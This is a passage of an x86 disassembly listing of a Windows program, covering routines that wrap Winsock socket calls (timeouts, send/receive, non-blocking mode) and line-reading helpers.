		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi ; dword_50F8A4
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi ; dword_50F8A4
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		call	near ptr 71AB4519h
		nop
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DD4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		call	near ptr 27E083Eh
		nop
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DD4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F70
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B3D0:				; CODE XREF: ___:loc_4013FCj
					; ___:00402018j
		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	byte ptr [esp+8], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_41B3E8:				; CODE XREF: ___:0041B3DDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E84
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp ; dword_50F8D0
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


